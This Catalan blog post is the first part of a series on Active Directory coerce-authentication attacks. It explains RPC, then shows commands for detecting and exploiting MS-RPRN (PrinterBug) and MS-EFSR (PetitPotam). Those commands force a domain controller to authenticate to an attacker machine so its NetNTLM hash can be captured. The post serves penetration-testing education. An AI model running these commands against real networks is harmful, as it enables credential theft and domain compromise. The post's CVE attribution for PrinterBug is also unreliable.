Coerce | Parte 1

Coerce | Part 1

Celia Catalán


Dins l'entorn d'Active Directory, els atacants recorren a autenticacions forçades i estratègies de MitM per dur a terme diverses accions. És per això que, en aquesta ocasió, entrarem en el tema de Coerce Authentication. Al llarg de diferents posts explicarem les diferents maneres de realitzar aquesta tècnica, a més de com enllaçar-ho amb altres atacs per elevar privilegis en un domini.

Coerce authentication és una tècnica que, mitjançant les trucades als Remote Procedure Calls (RPC) de Windows, força a un servei que s'autentiqui contra una màquina. Mitjançant aquesta tècnica, un atacant pot forçar servidor vulnerable a autenticar-se contra una màquina controlada per l'atacant i així arribar a obtenir el hash de la contrasenya del compte de màquina en format NetNTLM.

Un compte de màquina en xarxes Windows fa referència a una identitat única associada a un dispositiu a la xarxa. Els comptes de màquina són essencials per establir la comunicació i la col·laboració entre dispositius dins d'un entorn de xarxa amb sistemes operatius Windows.

Un cop obtingut el hash del compte d'una màquina, s'obren un ventall de possibles tècniques per poder aprofitar aquesta autenticació per suplantar la víctima. Parteix de la criticitat d'aquesta tècnica, rau que una màquina és la víctima. Per exemple, si aquesta tècnica és utilitzada contra un controlador de domini, és possible arribar a comprometre la totalitat del domini, elevant així la criticitat de la tècnica esmentada.

Què és RPC?

RPC són les sigles de Remote Procedure Call (Trucada a Procediment Remot) la qual, és una forma de comunicació entre processos (IPC). Aquesta tecnologia permet a les aplicacions enviar senyals entre si per realitzar una operació.

Als entorns Windows, es fa un ús intensiu de RPC per a molts serveis diferents, com la programació de tasques, la creació de serveis, la configuració d'impressores, configuració de recursos compartits, la gestió de dades xifrades emmagatzemades de forma remota, entre d'altres …

A causa de la naturalesa de RPC com a vector remot, atrau molta atenció des del punt de vista de la seguretat informàtica.

Principals RPC Vulnerables 

A continuació, es procedeix a enumerar els principals RPC vulnerables coneguts per a l'ús de la tècnica Coerce Authentication.

Cal destacar que, per a l'explotació d'aquests RPC, cal tenir un compte d'un usuari del domini vàlid, encara que en el cas del RPC conegut com a MS-EFSR, és possible executar-lo sense un usuari.

Per a aquest segon cas, on l'explotació era de forma anònima, Microsoft sí que ho ha considerat una vulnerabilitat i ha tret pegats de seguretat per a la seva correcció.

MS-RPRN

MS-RPRN és el Remote Procedure Call relacionat amb el protocol de sistema d'impressió remot.

Print Spooler de Microsoft és un servei que gestiona els treballs d'impressió i altres tasques relacionades amb la impressió. Un atacant que controli un usuari/ordinador de domini pot, amb una trucada RPC específica, activar el servei spooler d'un objectiu que l'estigui executant i fer que s'autentiqui en un objectiu triat per l'atacant. Aquest comportament està marcat com a “Wont Fix” des de Microsoft i està habilitat per defecte en tots els entorns Windows.

Comprovació

Per comprovar si un RPC està habilitat a l'equip de la víctima, podeu fer ús de l'eina rpcdump d' impacket :

Ordre: python3 rpcdump.py @dc.corp.lab | grep ‘MS-RPRN’

  

Ilustración 1 – MS-RPRN habilitado.

Cal destacar que hi ha més mètodes per comprovar si aquest RPC està habilitat mitjançant altres eines i tècniques.

Explotació


Després de comprovar que el RPC anomenat “MS-RPRN” està habilitat a la víctima, a més d'haver compromès un usuari del domini mitjançant altres vies, es procedirà a l'explotació del mateix mitjançant una PoC anomenada com a Printer Bug o SpoolSample la qual té assignada identificador CVE-2021-34527. 

Així mateix, per comprovar que es força l'autenticació correctament, farem ús de l'usuari bob amb privilegis limitats al domini dc.corp.lab.

Ordre: python3 printerbug.py “CORP/bob: @dc.corp.lab” attack_machine

Ilustración 2 – Explotación satisfactoria de printerbug.



Després de l'explotació de la vulnerabilitat, el hash netNTLMv2 s'ha obtingut del compte de màquina del controlador de domini. 

Ilustración 3 – Obtención hash NetNTLM.


MS-EFSR


MS-EFSR és el Remote Procedure Call relacionat amb el protocol de sistema de xifratge de fitxers remot. Realitza operacions de manteniment i gestió de dades xifrades que s'emmagatzemen de forma remota i s'accedeix a través d'una xarxa i està disponible com a interfície RPC.
Cal destacar que originalment aquest RPC era explotable de forma anònima, sense haver d'haver compromès prèviament un compte d'usuari del domini. És per això que Microsoft va treure dos pegats de seguretat, tant el 10 d'agost del 2021, com el 10 de maig del 2022, els quals s'encarreguen d'arreglar la possibilitat de poder realitzar aquesta tècnica sense un usuari del domini.

Comprovació


En aquest cas, farem ús de l'eina crackmapexec , actualment coneguda com a netexec , a través de l'execució del mòdul “petitpotam”, per a la comprovació de forma anònima de si el servidor és o no vulnerable:

Ordre: crackmapexec smb dc.corp.lab -M petitpotam

Ilustración 4 – Domain Controler vulnerable.

Cal destacar que hi ha més mètodes per comprovar si aquest RPC està habilitat mitjançant altres eines i tècniques.

Explotació


Després de comprovar que el controlador de domini és vulnerable de forma anònima, es procedirà a l'explotació del mateix mitjançant una PoC denominada com a Petit Potam la qual té assignada dos identificadors CVE-2021-36942 i CVE-2022-26925 .

Per comprovar que es força l'autenticació de forma anònima, executarem la PoC deixant els paràmetres d'usuari (-u), la contrasenya (-p) i el domini (-d) buits.

Ordre: python3 PetitPotam.py -u “” -p “” -d “” attack_machine dc.corp.lab

Ilustración 5 – Explotación satisfactoria de PetitPotam.

Es pot observar la captura del hash NetNTLM a l'eina Respondre.

Ilustración 7 – Obtención hash NetNTLM.


En futures entregues continuarem parlant de altres RCP vulnerables, fins a la propera! Agur!

Dimas Pastor , Senior Analyst al Grup Zerolynx .
Tornar al bloc

Deixa un comentari

Tingueu en compte que els comentaris s'han d'aprovar abans que es publiquin.